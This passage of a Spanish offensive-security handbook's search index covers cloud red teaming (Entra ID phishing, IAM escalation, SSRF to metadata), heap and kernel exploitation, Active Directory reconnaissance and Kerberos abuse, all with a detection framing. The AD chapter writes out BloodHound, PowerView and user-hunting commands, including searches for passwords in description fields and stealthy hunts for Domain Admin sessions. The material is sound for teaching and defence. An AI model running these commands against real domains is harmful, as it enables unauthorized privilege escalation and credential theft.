mismo juego que la Parte 4 jugó en el Active Directory: la identidad como terreno de batalla; solo que el terreno ahora es un proveedor de nube en lugar de un dominio, y los mecanismos son distintos.\nEl capítulo es material de dominio actual, sin base destilada que lo respalde, y se organiza en los dos planos donde vive el red team de nube: la identidad corporativa (con Entra ID como referente) y la infraestructura (con AWS como referente), más los puentes entre la nube y el dominio local que caracterizan los entornos reales.\nflowchart TB I[\"la identidad es el perímetro\\n(no hay 'adentro' de red)\"] I --\u003e ID[\"plano identidad · Entra ID\\ndevice-code · consent grant · robo de token · service principals\"] I --\u003e IN[\"plano infra · AWS/IAM\\nenum · privesc por política · SSRF→metadata · assume-role\"] ID --\u003e C[\"control del entorno\\n(cadena de identidades con más autoridad)\"] IN --\u003e C H[\"dominio local (P4)\"] -.-\u003e|\"puente híbrido\\nsincronización de identidad\"| IEl plano de la identidad: Entra ID Entra ID —el servicio antes llamado Azure AD— es el proveedor de identidad que autentica a los usuarios de las organizaciones que viven en la nube de Microsoft, y su compromiso equivale a las llaves del reino corporativo. Los ataques contra él no rompen criptografía ni servicios: manipulan los flujos de autenticación y consentimiento que el propio sistema ofrece.\nEl phishing de código de dispositivo (device code phishing) abusa de un flujo legítimo pensado para dispositivos sin teclado cómodo —televisores, consolas—: el atacante inicia el flujo, obtiene un código, y convence a la víctima de introducirlo en el portal legítimo de Microsoft e iniciar sesión; al hacerlo, la víctima autoriza la sesión del atacante, que recibe tokens válidos sin haber capturado nunca la contraseña ni el segundo factor. El consentimiento ilícito de aplicaciones (illicit consent grant) sigue una lógica parecida: el atacante registra una aplicación y convence a la víctima de concederle permisos sobre sus datos —leer su correo, su calendario—; una vez concedido el consentimiento, la aplicación accede a esos datos con un token propio que sobrevive al cambio de contraseña, porque no depende de la credencial de la víctima sino del permiso otorgado. Y el robo de tokens —incluido el token primario de actualización que Windows mantiene para el inicio de sesión único— permite reproducir la sesión de un usuario ya autenticado sin volver a pasar por el segundo factor.\nPara persistir, el mecanismo predilecto son los principales de servicio (service principals) y los registros de aplicación. Una aplicación en Entra ID puede tener sus propias credenciales y permisos, independientes de cualquier usuario; un atacante que crea una aplicación con permisos amplios, o que agrega una credencial nueva a una existente, consigue un acceso que no está atado a ninguna cuenta humana y que la rotación de contraseñas de usuarios no toca. Es el equivalente en la nube de las persistencias sigilosas del host: un actor no-humano, legítimo a los ojos del sistema, con las llaves puestas.\nEl plano de la infraestructura: AWS e IAM En el proveedor de infraestructura —AWS como caso de referencia— el terreno es la gestión de identidad y acceso (Identity and Access Management, IAM): el sistema de usuarios, roles, grupos y políticas que decide qué puede hacer cada actor sobre cada recurso. El red team en IAM es, casi por definición, un ejercicio de encontrar y encadenar permisos mal puestos.\nLa enumeración es el primer paso: con cualquier credencial, el atacante lista sus propios permisos y los del entorno para mapear qué puede hacer y qué caminos de escalada existen. La escalada de privilegios en IAM no explota software: abusa de permisos que, combinados, permiten a un actor otorgarse más autoridad de la que tiene. Un permiso para pasar un rol a un servicio (iam:PassRole), uno para crear una versión nueva de una política (iam:CreatePolicyVersion), uno para modificar la política de confianza de un rol: cada uno, aislado, parece inocuo; encadenados, permiten a un actor con permisos limitados convertirse en administrador. Es el análogo cloud de las cadenas de listas de control de acceso que la Parte 4 recorrió en el Active Directory —el privilegio se escala componiendo permisos, no explotando fallos—.\nHay un puente que conecta esta Parte consigo misma y merece destacarse: el servicio de metadatos de instancia (Instance Metadata Service, IMDS). Cada máquina virtual en la nube puede consultar, en una dirección interna fija, los metadatos de su propia configuración —incluidas las credenciales temporales del rol que tiene asignado—. Si una aplicación que corre en esa máquina es vulnerable a una falsificación de petición del lado servidor (SSRF), el atacante puede hacer que la aplicación consulte ese servicio de metadatos por él y le entregue las credenciales del rol de la máquina. Así, una vulnerabilidad web clásica se convierte en un pie dentro de la infraestructura de nube: la SSRF que la Parte 3 trató como lectura de recursos internos es, en la nube, un robo de credenciales de IAM. La versión endurecida del servicio de metadatos mitiga en parte este puente, pero las configuraciones antiguas lo dejan abierto, y es una de las cadenas de compromiso de nube más comunes.\nPersistencia en la nube y los puentes híbridos Persistir en la nube tiene su propio repertorio, coherente con la tesis de la identidad como perímetro. En lugar de un servicio o una clave de registro en un host, el atacante crea claves de acceso nuevas para una identidad comprometida, modifica políticas de confianza de roles para que un actor externo pueda asumirlos, o esconde su acceso en la automatización del entorno —funciones que se ejecutan ante eventos, tareas programadas de la plataforma—. Como en el host, el principio es el mismo: suscribir la propia autoridad a un mecanismo que la nube ya honra, de modo que sobreviva a la limpieza de la credencial original.\nLos entornos reales rara vez son puros: la mayoría son híbridos, con un Active Directory local sincronizado con la identidad de nube. Esa sincronización es un puente que el red team recorre en ambos sentidos. El servidor que sincroniza las identidades tiene credenciales de alto privilegio en los dos mundos, y comprometerlo abre el camino del dominio local a la nube y viceversa. Los m","section":"P3 · Explotación y Red Team","summary":"El red team en la nube, donde el modelo mental del atacante cambia de raíz. En un centro de datos clásico el objetivo es una máquina en una red; en la nube no hay una ‘adentro’ de red que conquistar, hay un plano de control gobernado por identidades y políticas, y el atacante no explota memoria ni servicios sino que abusa de permisos mal puestos. El capítulo desarrolla la tesis que lo ordena —en la nube la identidad es el perímetro— y la recorre en los dos grandes proveedores de identidad y cómputo. En el plano de la identidad corporativa (Entra ID, el antiguo Azure AD) trata el phishing de código de dispositivo, el consentimiento ilícito de aplicaciones, el robo de tokens de sesión y los principales de servicio como persistencia. En el plano de la infraestructura (AWS) trata la enumeración de IAM, la escalada por políticas mal configuradas, el abuso del servicio de metadatos de instancia como puente desde una vulnerabilidad web, y las cadenas de asunción de roles. Cubre la persistencia propia de la nube y los puentes entre el dominio local y la nube en entornos híbridos. Y cierra, como siempre, con el mapeo púrpura: la telemetría de la nube (los registros de actividad de la API), la gestión de identidades y los controles de acceso condicional son donde el defensor recupera la ventaja. Es material de dominio actual, sin base destilada, y el complemento cloud del Active Directory de la Parte 4.","tags":["cloud","identidad","iam","entra-id","aws","zero-trust","deteccion"],"title":"3.19 · Cloud red team: identidad, IAM y la nube como perímetro","url":"/speculum/p3-red-team/3-19-cloud-red-team/"},{"content":"Panorama Los tres capítulos previos del track binario —3.6, 3.7 y 3.15— giran alrededor de la pila (stack): una región con una disciplina rígida —crece hacia abajo, guarda el return pointer en un lugar predecible, y lo saca al retornar—. Esa disciplina es justamente lo que la vuelve explotable de forma tan directa: hay un objetivo obvio (el puntero de retorno) y un momento obvio para golpearlo (el epílogo de la función). El heap —el montículo, la región de la que se sirven malloc()/free() en C y los new/delete de C++— no tiene nada de eso. No hay puntero de retorno que sobrescribir, no hay orden temporal garantizado entre las asignaciones, y el atacante no elige directamente dónde cae cada objeto. La idea central de este capítulo es que, a falta de un objetivo tan cómodo como el return pointer, la explotación del heap ataca los metadatos del asignador: las estructuras internas que la biblioteca de C usa para llevar la cuenta de qué bloques están libres y dónde. Corromper esos metadatos convierte un error de gestión de memoria —un use-after-free, un double-free, un desbordamiento de un bloque sobre el siguiente— en una primitiva de escritura arbitraria (write-what-where), y desde ahí, en ejecución de código.\nEste capítulo completa el track binario con el hueco que 3.15 dejó explícito: la profundidad SANS 660.4 no llega al heap (esa materia vive en cursos posteriores). Todo lo que sigue se apoya en el asignador ptmalloc2 de glibc —el que usa Linux en la práctica— porque su diseño es público, está muy documentado y sus técnicas son las que mejor ilustran el principio general. Los asignadores de Windows (el NT heap y el Segment Heap), de los navegadores (PartitionAlloc en Chrome, el IsolatedHeap de Internet Explorer que apareció en 3.7) y de los kernels difieren en detalles —el NT heap y el Segment Heap de Windows se abren en la sección «Bajo el capó» de este capítulo, y su cruce con la explotación de esa plataforma es 3.8—, pero comparten la lógica de fondo: el asignador es una máquina de estados que confía en sus propios metadatos, y esa confianza es la superficie de ataque. Como en el resto del track, cada técnica ofensiva se describe para poder reconocerla y cerrarla; el cierre púrpura recoge por qué la explotación de memoria se detecta mal en tiempo de ejecución y qué la ataca de raíz.\nflowchart TD A[\"Bug de gestión de memoria\\n(UAF / double-free / heap overflow)\"] --\u003e B[\"Grooming del heap\\ndejar los chunks en el orden deseado\"] B --\u003e C{\"¿Qué metadato se corrompe?\"} C --\u003e|\"puntero fd de un chunk libre\"| D[\"tcache / fastbin poisoning\\nel asignador devuelve una dirección elegida\"] C --\u003e|\"tamaño / punteros del chunk vecino\"| E[\"unlink / overlap\\nchunks que se solapan\"] D --\u003e F[\"Escritura arbitraria\\n(write-what-where)\"] E --\u003e F F --\u003e G[\"Sobrescribir un puntero de función\\n(__malloc_hook, GOT, vtable)\"] G --\u003e H[\"Control del flujo\\n→ pivote a ROP (3.7) → shell\"]El modelo del asignador: chunks, bins y arenas Para entender qué se corrompe hay que entender qué mantiene el asignador. malloc() no pide una página al kernel por cada llamada: reserva grandes regiones con brk() o mmap() y las reparte internamente en bloques llamados chunks. Cada chunk lleva, justo antes de la memoria que el programa usa, una pequeña cabecera de metadatos: el tamaño del bloque (size) y unos bits de estado, entre ellos el PREV_INUSE que indica si el chunk físicamente anterior está en uso. Ese detalle —los metadatos viven en línea, pegados a los datos del usuario— es la raíz de casi todo lo que sigue: un desbordamiento de un bloque no pisa un puntero de retorno, pero sí pisa la cabecera del bloque vecino.\nCuando el programa llama a free(), el chunk no se devuelve al sistema: el asignador lo guarda en una lista de libres para reciclarlo en el próximo malloc() del mismo tamaño. Esas listas se llaman bins y se organizan por tamaño y por política:\nLos fast bins guardan chunks pequeños en una lista simplemente enlazada (singly-linked), con política LIFO —el último liberado es el primero en reusarse—. Son rápidos porque no se consolidan con sus vecinos. Los tcache bins (thread cache, introducidos en glibc 2.26, 2017) son una caché por hilo, también LIFO y simplemente enlazada, que intercepta la mayoría de las asignaciones pequeñas antes de que lleguen a los fast/small bins. Son hoy el objetivo predilecto de la explotación de heap justamente por lo poco protegidos que nacieron. Los small, large y unsorted bins manejan el resto con listas doblemente enlazadas (doubly-linked) y consolidación de vecinos libres. El puntero al siguiente elemento de la lista de libres (fd, forward pointer) se guarda dentro del propio chunk liberado, en los primeros 8 bytes de lo que era la zona de datos del usuario. Esto es económico —no gasta memoria extra— pero significa que la lista de libres vive en memoria escribible por el programa. Si el atacante consigue escribir en un chunk que el asignador cree libre, reescribe el fd y, por tanto, controla qué dirección devolverá malloc() la próxima vez. Toda la familia de técnicas de poisoning descansa en esta única observación.\nPor encima de los bins está la arena: la estructura malloc_state que agrupa los bins de un conjunto de hilos y apunta al top chunk (el bloque grande sin repartir del que se cortan asignaciones nuevas). Un programa multithread usa varias arenas para reducir la contención de bloqueos.\nPor qué el heap es determinista pese a ASLR: el grooming ASLR aleatoriza la base del heap, igual que aleatoriza la pila y las bibliotecas —de eso se ocupó 3.15—. Pero dentro del heap, el asignador es determinista: dada una secuencia conocida de malloc()/free(), los chunks caen en posiciones relativas predecibles. El atacante no necesita saber la dirección absoluta de un objeto para saber que el objeto B quedará justo después del objeto A, o que un malloc() de cierto tamaño reusará el hueco que dejó un free() reciente.\nManipular la disposición del heap para dejar los chunks en el orden conveniente —la víctima pegada al desbordamiento, el hueco correcto listo para ser reasignado— se llama heap grooming o heap feng shui. Se logra guiando al programa a hacer asignaciones y liberaciones a través de su funcionalidad legítima: abrir objetos, cerrarlos, cargar campos de cierto tamaño. En un navegador esto se orquesta desde JavaScript (reservar miles de arrays del tamaño justo); en un servicio de red, encadenando peticiones. El grooming es la parte artesanal de la explotación de heap y la que la vuelve fiable: sin él, el bug existe pero el resultado es un crash aleatorio en vez de un control preciso.\nLas primitivas-bug: de dónde sale el control Un bug de heap por sí solo no da control; da una primitiva, una capacidad elemental que hay que combinar con el modelo del asignador para llegar a algo útil. Cuatro clases cubren la enorme mayoría de los casos.\nHeap overflow. Un desbordamiento de un chunk sobre la memoria contigua. Como los metadatos viven en línea, el desbordamiento pisa la cabecera (size, bits de estado) del chunk siguiente, o su contenido si ese chunk está en una lista de libres —y entonces pisa el puntero fd—. Es el equivalente de heap al desborde de pila de 3.6, pero el objetivo no es un return pointer sino los metadatos del vecino. Falsificar el campo size para que el asignador crea que dos chunks son uno solo produce chunks solapados (overlapping chunks): dos punteros del programa que apuntan a la misma memoria con tipos distintos.\nUse-after-free (UAF). El bug más productivo de la clase, mapeado a T1203 en ATT\u0026CK y responsable de una fracción enorme de los 0-day de navegador. Ocurre cuando el programa libera un objeto con free() pero conserva un puntero a él (un dangling pointer, puntero colgante) y lo vuelve a usar más tarde. Entre la liberación y el reuso, el atacante consigue que el asignador entregue ese mismo bloque para otro objeto —de un tipo que él controla—. A partir de ahí, el puntero viejo y el objeto nuevo comparten memoria: leer por el puntero v","section":"P3 · Explotación y Red Team","summary":"Explotación de memoria en el montículo (heap): el modelo del asignador glibc (ptmalloc), las primitivas-bug (heap overflow, use-after-free, double-free, type confusion), la explotación moderna del tcache, la conversión de un bug de gestión de memoria en escritura y ejecución controlada, y por qué se detecta mal en runtime, con su lente defensivo.","tags":["exploit-dev","heap","use-after-free","glibc","deteccion"],"title":"3.20 · Exploit-dev IV — Heap: use-after-free, tcache y la explotación del asignador","url":"/speculum/p3-red-team/3-20-exploit-dev-heap/"},{"content":"Panorama El track de explotación binaria —3.6, 3.7, 3.8, 3.15 y 3.20— trabajó siempre en user-land: el espacio donde corren las aplicaciones, con sus privilegios acotados y su aislamiento por proceso. Este capítulo cruza la última frontera hacia abajo, al kernel-land: el núcleo del sistema operativo, el anillo de máximo privilegio, el código que arbitra la memoria, los procesos y el acceso a todo el hardware. La tesis que lo ordena es doble. Primero, que las primitivas de corrupción son las mismas que ya se conocen —desbordamientos, use-after-free, corrupción del asignador—, pero el objetivo cambia: no hay un return pointer de aplicación que secuestrar hacia una shell, sino que el éxito consiste en reescribir silenciosamente las credenciales del propio proceso atacante hasta root (UID 0) o SYSTEM. Segundo, que el kernel es un objetivo que no puede permitirse fallar: un error dentro de una zona sensible no produce un segfault recuperable como en 3.6, sino un panic —el sistema entero se detiene—, así que la explotación del núcleo es, más que ninguna otra, un problema de fiabilidad y limpieza.\nPor qué importa: el kernel es el destino natural de la escalada de privilegios cuando todo lo demás falla —el «último recurso» que 3.9 describió—, y es la superficie que las mitigaciones de user-land (ASLR, DEP, las de 3.6-3.20) empujaron hacia arriba al cerrar la aplicación. Cuando el proceso ya no da más de sí, queda el núcleo con el que ese proceso habla constantemente a través de system calls y de los drivers de dispositivo. Como en el resto del track, cada técnica ofensiva se describe para reconocerla y cerrarla; el material se apoya en el tratado de referencia de Perla y Oldani, y el cierre púrpura recoge por qué la explotación de kernel se detecta mal en tiempo de ejecución y qué la ataca de raíz.\nflowchart TD A[\"Bug en el kernel o en un driver\\n(deref / overflow / UAF / race)\"] --\u003e B[\"1· Recolección\\n/proc/kallsyms · sidt · infoleak\\n(derrotar KASLR)\"] B --\u003e C[\"2· Detonación\\ngrooming de SLUB / ventana de carrera\\nsecuestro del flujo\"] C --\u003e D[\"3· Ejecución del payload\"] D --\u003e E[\"Linux: commit_creds(prepare_kernel_cred(NULL))\\n→ UID 0\"] D --\u003e F[\"Windows: robar el Token de SYSTEM\\nen EPROCESS → SYSTEM\"] E --\u003e G[\"Recuperación\\nrestaurar el estado, evitar el panic/deadlock\"] F --\u003e G G --\u003e H[\"Shell privilegiada\\nsin colapsar la máquina\"]El modelo: por qué el kernel es un objetivo distinto Tres rasgos del núcleo definen todo lo que sigue. El primero es el espacio de direcciones compartido. En las arquitecturas clásicas, las entradas de la tabla de páginas del kernel se replican en la tabla de páginas de cada proceso: existe un único espacio virtual que abarca la porción del núcleo más las asignaciones de user-land del proceso. Para el atacante esto es una ventaja estructural enorme —«you are free to dereference a pointer inside it»—: puede alojar su shellcode o sus estructuras falsas en la memoria de usuario, que controla por completo y donde fija permisos sin trabas, y la vulnerabilidad del kernel solo necesita redirigir el flujo hacia esa zona ya preparada. (Esta comodidad es exactamente la que las mitigaciones modernas —SMEP/SMAP, KPTI— vinieron a cerrar, como se ve más abajo.)\nEl segundo es el costo del fallo. «A panicked target is a lost target»: un intento fallido no da una segunda oportunidad, tira la máquina y genera ruido. Por eso la explotación de kernel descarta la fuerza bruta —central en el bypass de ASLR de user-land de 3.15— y prioriza la fiabilidad: se perfila el objetivo antes de disparar y se prepara el entorno para que el comportamiento del núcleo sea determinista. Ayuda que la pila del kernel de un proceso se asigna una sola vez: recorrer el mismo camino de código produce el mismo layout de pila cada vez.\nEl tercero es el contexto de ejecución. El código del kernel corre en process context (a cuenta de un proceso que hizo una syscall, donde se puede dormir y esperar recursos) o en interrupt context (a cuenta de una interrupción de hardware, sin proceso subyacente, donde bloquearse está prohibido). La distinción no es académica: determina qué puede hacer el payload y por qué ciertas técnicas de detonación —forzar a un hilo a dormir— solo funcionan en el contexto adecuado. Para mapear la memoria de un proceso y sus permisos se usan cat /proc/\u003cpid\u003e/maps en Linux, pmap, o vmmap de Sysinternals en Windows.\nLa taxonomía de bugs del kernel Las clases de vulnerabilidad son las de siempre, con la vuelta de tuerca de que aquí viven en el anillo privilegiado. La desreferencia de punteros defectuosos —nulos, no inicializados o corruptos— es especialmente potente por el espacio compartido: un puntero no inicializado apunta a dead memory (restos de la pila) o, peor, a una dirección que el atacante puede mapear desde user-land. Un caso real en FreeBSD 8.0 asignaba dp-\u003ei_gid al primer elemento de un cr_groups sin inicializar, escribiendo un valor controlado en memoria residual. El integer overflow no ejecuta código por sí mismo: su daño es truncar la variable que dimensiona una asignación, de modo que el kernel reserva menos memoria de la que después copia —el mismo germen del desbordamiento de heap de 3.20, ahora contra el asignador del núcleo—.\nLas race conditions ocupan un lugar central porque el kernel es masivamente concurrente (SMP, multi-core). El patrón arquetípico es el double-fetch: una rutina lee un valor de user-land con get_user para dimensionar un búfer y lo vuelve a leer para copiar los datos; si el atacante cambia el tamaño entre las dos lecturas, desborda el contenedor del kernel. La ventana temporal, minúscula, se ensancha con una técnica elegante: situar el búfer justo en el límite de dos páginas y forzar el desalojo de la segunda al disco, de modo que cuando el kernel la toca, el manejador de fallos de página suspende el hilo y regala una ventana enorme (demand paging usado como arma). El use-after-free —un puntero a memoria ya liberada, casi siempre por un contador de referencias desincronizado— es hoy la clase dominante, igual que en el heap de user-land.\nNo todo bug del kernel es un desbordamiento clásico: una porción enorme son fallos de diseño en la frontera kernel↔user. El caso canónico es udevd en Linux: su socket AF_UNIX exigía validar las credenciales del emisor (SO_PASSCRED), pero la interfaz AF_NETLINK paralela omitía esa comprobación, y un usuario sin privilegios podía enviar mensajes maliciosos que el demonio, corriendo como root, honraba. La lección transversal del capítulo: la superficie del kernel es toda entrada que cruza desde un contexto menos privilegiado —syscalls, ioctl, netlink, sistemas de archivos—, y validar en esa frontera es la misma tesis de «no confiar en la entrada» que recorre el manual. La escalera de tres fases La explotación fiable del núcleo se organiza en tres etapas encadenadas.\n1 · Recolección de información. Antes de disparar, hay que mapear el objetivo para reducir la incertidumbre que causaría un panic. En Linux, /proc/kallsyms expone las direcciones de las funciones y tablas del kernel; instrucciones de hardware como sidt (que vuelca el registro IDTR) revelan la ubicación de la tabla de interrupciones. Y cuando el kernel está aleatorizado (KASLR), la pieza clave es un infoleak: una vulnerabilidad secundaria que fuga un puntero del núcleo hacia user-land, derrotando la aleatorización —el mismo patrón info-leak-primero de 3.15, elevado al kernel—.\n2 · Detonación. Es la fase de preparar la memoria para que el bug haga lo que se quiere. Contra corrupciones del asignador, se hace grooming: agotar la caché de objetos del núcleo (SLAB/SLUB) instanciando muchos objetos inocuos —por ejemplo, abriendo archivos repetidamente— para luego intercalar el objeto víctima (el vulnerable) inmediatamente antes del objeto objetivo (uno que contenga un puntero a función, como una estructura file_operations), garantizando que el desbordamiento pise los datos correctos. Es el mismo heap feng shui de 3.20, aplicado al","section":"P3 · Explotación y Red Team","summary":"El capstone del track de explotación binaria: cómo un bug de gestión de memoria en el núcleo (o en un driver) se convierte en control del anillo de máximo privilegio. El modelo del kernel (espacio de direcciones compartido, el panic como fracaso), la taxonomía de bugs, la escalera de tres fases (recolección → detonación → ejecución), la escalada a UID 0 en Linux (task_struct → commit_creds, grooming de SLUB) y a SYSTEM en Windows (robo de token en EPROCESS, la recuperación anti-deadlock), el kernel moderno (SMEP/SMAP/KPTI, BYOVD, Dirty Pipe) y por qué se detecta mal, con su lente defensivo.","tags":["exploit-dev","kernel","priv-esc","use-after-free","deteccion"],"title":"3.21 · Exploit-dev V — Explotación de kernel: del bug de driver a UID 0","url":"/speculum/p3-red-team/3-21-exploit-dev-kernel/"},{"content":"Panorama El reconocimiento de Active Directory (AD) no busca vulnerabilidades: busca relaciones. A diferencia de un escaneo de red clásico, que enumera puertos y versiones para encontrar un servicio explotable, el recon de un dominio reconstruye el grafo de identidad — quién es administrador de qué, quién tiene sesión iniciada dónde, qué dominio confía en qué otro — porque en AD el camino hacia el control total casi nunca es un exploit de software, sino una cadena de permisos legítimos mal configurados. Una sola cuenta de usuario sin privilegios, con la relación correcta a su favor, puede llegar a Domain Admin en un salto, sin desbordar ningún búfer ni disparar ninguna alerta de antivirus. Mapear esas relaciones es, por lo tanto, la fase que define todas las rutas posteriores: la enumeración no explota nada, pero decide qué se va a explotar.\nEse cambio de mentalidad —de “encontrar el bug” a “encontrar la arista”— es lo que hace del recon de AD una disciplina propia. El dominio se modela como un grafo dirigido donde cada nodo es un objeto (usuario, equipo, grupo, GPO, unidad organizativa) y cada arista es un permiso que puede abusarse (MemberOf, AdminTo, GenericAll, HasSession, CanRDP). Una arista peligrosa aislada es un hallazgo; el grafo entero es la historia del ataque. Este capítulo cubre las tres herramientas con las que se levanta ese grafo, la técnica de user hunting que lo convierte en una ruta hacia el administrador, y el catálogo de primitivas de abuso que el recon deja identificadas para las fases siguientes —el abuso de Kerberos de 4.2 · Kerberos, el credential dumping de 4.5 · Credential dumping y el abuso de delegación y ACLs de 4.6 y 4.7. El recon externo previo —descubrir la superficie del dominio desde Internet, antes de tener siquiera una cuenta— vive en 2.5 · Recon ofensivo.\nflowchart TD A[\"Cuenta de dominio\\n(sin privilegios)\"] --\u003e B[\"Colección del grafo\"] B --\u003e|\"SharpHound / bloodhound-python\"| C[\"BloodHound\\n(Neo4j)\"] B --\u003e|\"Get-Net* / Get-Domain*\"| D[\"PowerView\\n(potente, ruidoso)\"] B --\u003e|\"Get-AD* (API firmadas)\"| E[\"AD Module\\n(sigiloso)\"] C --\u003e F[\"Análisis del grafo:\\naristas a Tier Zero\"] D --\u003e F E --\u003e F F --\u003e G[\"User hunting:\\ndónde tiene sesión un DA\"] F --\u003e H[\"Catálogo de aristas abusables\"] H --\u003e|\"SPN + RC4\"| I[\"Kerberoasting (ver 4.2)\"] H --\u003e|\"GetChanges + GetChangesAll\"| J[\"DCSync (ver 4.5)\"] H --\u003e|\"GenericAll / WriteDacl\"| K[\"Abuso de ACL (ver 4.7)\"] H --\u003e|\"Constrained / RBCD\"| L[\"Delegación (ver 4.6)\"] G --\u003e M[\"Robo de token → DA\"]El grafo: BloodHound y sus colectores BloodHound es la herramienta que materializó el modelo de grafo y redefinió el recon de AD. Ingiere los datos crudos del dominio en una base Neo4j y los presenta como un grafo navegable donde la consulta central —\"¿cuál es el camino más corto desde esta cuenta que controlo hasta Domain Admins?\"— se resuelve con un clic. El grafo se alimenta de un colector que barre el directorio; cuál se use depende del entorno: SharpHound para AD local (el caso clásico), AzureHound para Entra ID (el antiguo Azure AD), y RustHound como alternativa a SharpHound, más rápida y a veces menos detectable. Desde Linux, sin tocar una máquina Windows, bloodhound-python cumple el mismo rol contra el controlador de dominio por LDAP.\n$ # Recolección remota desde Linux (bloodhound-python) bloodhound-python -u usuario -p 'contraseña' -d corp.local -dc dc1.corp.local -c All -ns \u003cIP-DC\u003e # BloodHound Community Edition — levantar el grafo (Docker) docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j ⧉ copiar El colector produce un conjunto de archivos JSON (comprimidos en un .zip) que se importan al grafo. El valor del recon no está en la recolección en sí, sino en las consultas que se corren sobre el resultado: además de las incluidas, la comunidad mantiene colecciones de custom queries (de @hausec, CompassSecurity, Exegol, Certipy) que se cargan reemplazando customqueries.json en ~/.config/bloodhound/ (Linux) o %AppData%\\Roaming\\BloodHound\\ (Windows). Esas consultas encapsulan patrones de abuso conocidos —“cuentas kerberoastables con ruta a Tier Zero”, “equipos con delegación sin restringir”— y convierten el grafo en un catálogo priorizado de rutas de ataque.\nLa gravedad de un hallazgo se mide en saltos hasta Tier Zero: cuántas aristas hay que recorrer desde la cuenta controlada hasta un objeto que controla la identidad del dominio. Una arista GenericAll directa sobre el grupo Domain Admins es un salto; una ruta que pasa por una GPO mal permisada puede ser cuatro o cinco. La priorización del ataque es, punto por punto, la priorización de la remediación: mismas aristas críticas. Enumeración manual: PowerView y el AD Module BloodHound da el panorama; la enumeración manual da el detalle y el control fino. PowerView es el catálogo de cmdlets de PowerShell (Get-Net*, Get-Domain*) que enumera cada clase de objeto del dominio sin depender del módulo oficial de Microsoft. Un barrido típico recorre, en orden de generalidad decreciente, el dominio y su política, los controladores, los usuarios, los equipos, los grupos, los shares, las GPO, las OU, las ACL y los trusts — sin explotar nada, pero definiendo toda la superficie posterior.\n$ # Dominio, SID y política Kerberos Get-NetDomain ; Get-DomainSID (Get-DomainPolicy).\"kerberos policy\" # Secretos en descripciones (un clásico: contraseñas en el campo Description) Find-UserField -SearchField Description -SearchTerm \"pass\" # Sesiones activas y shares accesibles con la cuenta actual Get-NetSession -ComputerName \u003cequipo\u003e Find-DomainShare -CheckShareAccess # ACE interesantes y trusts Invoke-ACLScanner -ResolveGUIDs Get-NetDomainTrust ; Get-NetForestTrust ⧉ copiar El AD Module oficial de Microsoft (Get-AD*) cubre buena parte del mismo terreno, pero con una diferencia que es táctica antes que funcional: usa API firmadas por Microsoft y se camufla mejor con la actividad administrativa legítima, mientras que PowerView a veces dispara consultas LDAP con una firma más reconocible. La elección de herramienta es también una decisión de evasión: cuando el sigilo importa más que la exhaustividad, Get-ADUser -Filter * -Properties *, Get-ADComputer, Get-ADTrust y sus pares son la opción preferible. Para ubicar los controladores de dominio sin depender de ninguna de las dos, bastan utilidades nativas: nltest /dclist:\u003cdominio\u003e, nslookup -type=srv _ldap._tcp.dc._msdcs.\u003cdominio\u003e o la variable de entorno $Env:LOGONSERVER.\nUser hunting: del grafo a la ruta hacia Domain Admin El recon culmina en una pregunta operativa concreta: ¿en qué máquina hay un Domain Admin con sesión iniciada y, a la vez, tengo yo derechos de administrador local? Esa intersección es el user hunting, y es la ruta canónica desde una cuenta común hasta el control del dominio. Si en una máquina donde soy administrador local un DA tiene una sesión activa, su token de acceso reside en memoria y puede robarse e impersonarse — sin craquear ninguna contraseña. PowerView resuelve las dos mitades de la pregunta: primero las máquinas donde tengo acceso, después dónde está el objetivo.\n$ # Máquinas donde la cuenta actual es admin local Find-LocalAdminAccess -Verbose # Máquinas donde un usuario objetivo (p. ej. un DA) tiene sesión Invoke-UserHunter -CheckAccess # marca dónde además tengo acceso Invoke-UserHunter -Stealth # menos consultas, menos ruido ⧉ copiar El robo del token y la impersonación posterior son ya movimiento lateral, y se detallan en 4.8 · Movimiento lateral. Lo que importa aquí es que el user hunting transforma el grafo estático en una ruta accionable: no “quién es admin de qué” en abstracto, sino “en esta máquina concreta, ahora mismo, hay un token de DA esperando”.\nEl catálogo de aristas: qué deja identificado el recon La mayoría de las rutas a Domain Admin no son exploits sino misconfiguraciones de ACL — pequeños permisos excesivos que se encadenan. Por eso el grafo importa más que cualquier CVE. El recon deja identificadas las aristas abusables, cada una de las cuales e","section":"P4 · Active Directory e Identidad","summary":"Cómo se mapea un dominio de Active Directory antes de atacarlo: el modelo de grafo de BloodHound, la enumeración con PowerView y el AD Module, el user hunting hacia Domain Admin y el catálogo de aristas abusables, con su detección.","tags":["active-directory","recon","discovery","bloodhound","deteccion"],"title":"4.1 · Reconocimiento de Active Directory","url":"/speculum/p4-active-directory/4-1-recon-ad/"},{"content":"Panorama Kerberos es el protocolo de autenticación por defecto de Active Directory desde Windows 2000, y es también el eje sobre el que gira buena parte del abuso ofensivo del directorio. Su diseño reemplaza el modelo “usuario + contraseña en cada solicitud” por un modelo de posesión: quien tiene el ticket correcto, tiene el acceso, sin necesidad de volver a probar quién es. Esa propiedad —la credencial es un objeto transferible, no un secreto que se vuelve a demostrar— es exactamente lo que un atacante explota en cada técnica de este capítulo: se puede robar un ticket, se puede pedir uno legítimamente y craquearlo, o se puede directamente forjar uno desde cero si se posee la clave criptográfica correcta.\nEl Key Distribution Center (KDC, un rol que corre en cada controlador de dominio) resuelve dos preguntas distintas con dos sub-protocolos: el AS-Exchange (\"¿quién es?\") entrega un Ticket-Granting Ticket (TGT), válido por defecto 10 horas y renovable hasta 7 días, que prueba la identidad del usuario ante el propio KDC sin que este tenga que volver a verificar la contraseña. El TGS-Exchange (\"¿puede acceder a este servicio?\") usa ese TGT para pedir un Service Ticket (ST, también llamado TGS) específico para un recurso — un share SMB, una base SQL, una sesión WinRM. Los tickets viven en dos formatos según la herramienta que los maneja: .kirbi (Mimikatz, Rubeus, el ecosistema Windows) y .ccache (Impacket, el ecosistema Linux); son convertibles entre sí con ticketConverter.py o el misc::convert de kekeo, así que el formato en disco delata qué kit usó quien lo generó.\nTodo lo que sigue —Kerberoasting, AS-REP Roasting, Pass-the-Hash, Pass-the-Ticket y la familia de tickets forjados— es una variación sobre ese mismo tema: conseguir un ticket válido sin conocer la contraseña real de la cuenta que representa. El punto de entrada suele ser el reconocimiento de SPNs y cuentas del dominio cubierto en 4.1 · Reconocimiento de AD; el punto de llegada, con frecuencia, es el compromiso de la cuenta krbtgt y el movimiento lateral que se detalla en 4.5 · Credential dumping y 4.8 · Movimiento lateral.\nflowchart LR A[\"Usuario de dominio\\nsin privilegios\"] --\u003e|\"4769: ST de un SPN\"| B[\"Kerberoasting\"] A 